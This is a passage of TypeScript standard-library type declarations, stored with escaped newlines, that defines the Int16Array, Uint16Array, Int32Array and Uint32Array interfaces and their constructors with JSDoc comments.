Int16Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Int16Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Int16Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Int16Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Int16ArrayConstructor {\\n    readonly prototype: Int16Array;\\n    new(length: number): Int16Array;\\n    new(array: ArrayLike<number>): Int16Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Int16Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Int16Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Int16Array;\\n\\n\\n}\\ndeclare const Int16Array: Int16ArrayConstructor;\\n\\n/**\\n  * A typed array of 16-bit unsigned integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Uint16Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Uint16Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Uint16Array) => any, thisArg?: any): Uint16Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Uint16Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Uint16Array) => number, thisArg?: any): Uint16Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint16Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint16Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint16Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint16Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Uint16Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Uint16Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Uint16Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Uint16Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Uint16Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Uint16ArrayConstructor {\\n    readonly prototype: Uint16Array;\\n    new(length: number): Uint16Array;\\n    new(array: ArrayLike<number>): Uint16Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Uint16Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Uint16Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Uint16Array;\\n\\n\\n}\\ndeclare const Uint16Array: Uint16ArrayConstructor;\\n/**\\n  * A typed array of 32-bit signed integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Int32Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Int32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Int32Array) => any, thisArg?: any): Int32Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Int32Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (value: number, index: number, array: Int32Array) => number, thisArg?: any): Int32Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Int32Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Int32Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Int32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Int32Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Int32Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Int32ArrayConstructor {\\n    readonly prototype: Int32Array;\\n    new(length: number): Int32Array;\\n    new(array: ArrayLike<number>): Int32Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Int32Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Int32Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Int32Array;\\n\\n}\\ndeclare const Int32Array: Int32ArrayConstructor;\\n\\n/**\\n  * A typed array of 32-bit unsigned integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Uint32Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Uint32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Uint32Array) => any, thisArg?: any): Uint32Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Uint32Array) => void, thisArg?: any): void;\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Uint32Array) => number, thisArg?: any): Uint32Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Uint32Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Uint32Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Uint32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Uint32Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Uint32Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Uint32ArrayConstructor {\\n    readonly prototype: Uint32Array;\\n    new(length: number): Uint32Array;\\n    new(array: ArrayLike<number>): Uint32Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Uint32Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Uint32Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): 